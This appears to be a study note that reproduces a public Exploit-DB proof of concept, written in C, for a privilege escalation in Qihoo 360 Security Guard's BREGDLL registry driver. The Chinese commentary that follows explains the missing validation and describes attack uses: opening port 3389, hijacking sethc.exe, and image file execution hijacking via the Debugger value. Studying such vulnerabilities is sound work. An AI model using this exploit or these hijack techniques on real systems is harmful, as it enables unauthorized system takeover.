Qihoo 360 Security Guard 6.1.5.1009 - breg device drivers Privilege Escalation

https://www.exploit-db.com/exploits/11317/

POC

#include <windows.h>
 
typedef BOOL (WINAPI *INIT_REG_ENGINE)();
typedef LONG (WINAPI *BREG_DELETE_KEY)(HKEY hKey, LPCSTR lpSubKey);
typedef LONG (WINAPI *BREG_OPEN_KEY)(HKEY hKey, LPCSTR lpSubKey, PHKEY phkResult);
typedef LONG (WINAPI *BREG_CLOSE_KEY)(HKEY hKey);
typedef LONG (WINAPI *REG_SET_VALUE_EX)(HKEY hKey, LPCSTR lpValueName, DWORD Reserved, DWORD dwType, const BYTE* lpData, DWORD cbData);
 
BREG_DELETE_KEY BRegDeleteKey = NULL;
BREG_OPEN_KEY BRegOpenKey = NULL;
BREG_CLOSE_KEY BRegCloseKey = NULL;
REG_SET_VALUE_EX BRegSetValueEx = NULL;
 
#define AppPath   "Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\360safe.exe"
 
#define TestDeleteKey  HKEY_LOCAL_MACHINE
#define TestDeleteRegPath "Software\\360Safe\\Update"
 
#define TestSetKey  HKEY_LOCAL_MACHINE
#define TestSetPath  "Software\\360Safe"
 
BOOL InitBRegDll()
{
 LONG lResult;
 HKEY hKey;
 
 CHAR cPath[MAX_PATH + 32] = { 0 };
 DWORD dwPathLen = MAX_PATH;
 
 lResult = RegOpenKeyA(HKEY_LOCAL_MACHINE, AppPath, &hKey);
 if (FAILED(lResult))
  return FALSE;
 
 DWORD dwType = REG_SZ;
 lResult = RegQueryValueExA(hKey, "Path", NULL, &dwType, (LPBYTE)cPath, &dwPathLen);
 RegCloseKey(hKey);
 if (FAILED(lResult))
  return FALSE;
 
 strcat(cPath, "\\deepscan\\BREGDLL.dll<file://\\deepscan\\BREGDLL.dll>");
 
 HMODULE modBReg = LoadLibraryA(cPath);
 if (!modBReg)
  return FALSE;
 
 INIT_REG_ENGINE InitRegEngine = (INIT_REG_ENGINE)GetProcAddress(modBReg, "InitRegEngine");
 BRegDeleteKey = (BREG_DELETE_KEY)GetProcAddress(modBReg, "BRegDeleteKey");
 BRegOpenKey = (BREG_OPEN_KEY)GetProcAddress(modBReg, "BRegOpenKey");
 BRegCloseKey = (BREG_CLOSE_KEY)GetProcAddress(modBReg, "BRegCloseKey");
 BRegSetValueEx = (REG_SET_VALUE_EX)GetProcAddress(modBReg, "BRegSetValueEx");
 
 if (!InitRegEngine || !BRegDeleteKey || !BRegOpenKey || !BRegCloseKey || !BRegSetValueEx) {
  FreeLibrary(modBReg);
  return FALSE;
 }
 
 if (!InitRegEngine()) {
  FreeLibrary(modBReg);
  return FALSE;
 }
 
 return TRUE;
}
 
LONG TestSetRegKey()
{
 HKEY hKey;
 LONG lResult;
 
 lResult = BRegOpenKey(TestSetKey, TestSetPath, &hKey);
 if (FAILED(lResult))
  return lResult;
 
 DWORD dwType = REG_SZ;
 static char szData[] = "TEST VALUE";
 lResult = BRegSetValueEx(hKey, TestSetPath, NULL, dwType, (const BYTE *)&szData, (DWORD)sizeof(szData));
 BRegCloseKey(hKey);
 
 return lResult;
}
 
int main(int argc, char *argv[])
{
 if (!InitBRegDll()) {
  MessageBoxA(NULL, "Initialization BReg error&#65281;", "error", MB_ICONSTOP);
  return 1;
 }
 
 if (FAILED(BRegDeleteKey(TestDeleteKey, TestDeleteRegPath))) {
  MessageBoxA(NULL, "DeleteKey error&#65281;", "error", MB_ICONSTOP);
  return 2;
 }
 
 if (FAILED(TestSetRegKey())) {
  MessageBoxA(NULL, "SetRegKey error&#65281;", "error", MB_ICONSTOP);
  return 3;
 }
 
 MessageBoxA(NULL, "Broke System Security Check&#65292;Gain Escalated Privileges&#65292;Successful exploit&#65281;", "Successful", MB_OK);
 return 0;
}

利用函数是在InitBRegDll，之后就拥有了修改360的注册表的权限了

可以看到只是将360的问题dll进行LoadLibraryA，之后获取里面对注册表操作的函数，那么之后就拥有了设置本来没有权限的注册表的能力

由于没有那个版本的360，只能看漏洞战争里面的分析了

原来是360自己实现了一套Ntxxx函数，调用底层未文档化的函数，而没有进行任何验证，导致可以被其他程序任意调用。

那么攻击者可以通过这个来修改注册表打开3389端口，劫持sethc.exe，成功获得权限

我们查看漏洞利用程序，利用的就是映像劫持技术

映像劫持主要通过修改注册表中的HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Image File Execution Options/项来劫持正常的程序，比如有一个病毒 vires.exe 要劫持qq程序，它会在上面注册表的位置新建一个qq.exe项，再在这个项下面新建一个字符串的键　debugger把其值改为C:/WINDOWS/ SYSTEM32/VIRES.EXE(这里是病毒藏身的目录)即可。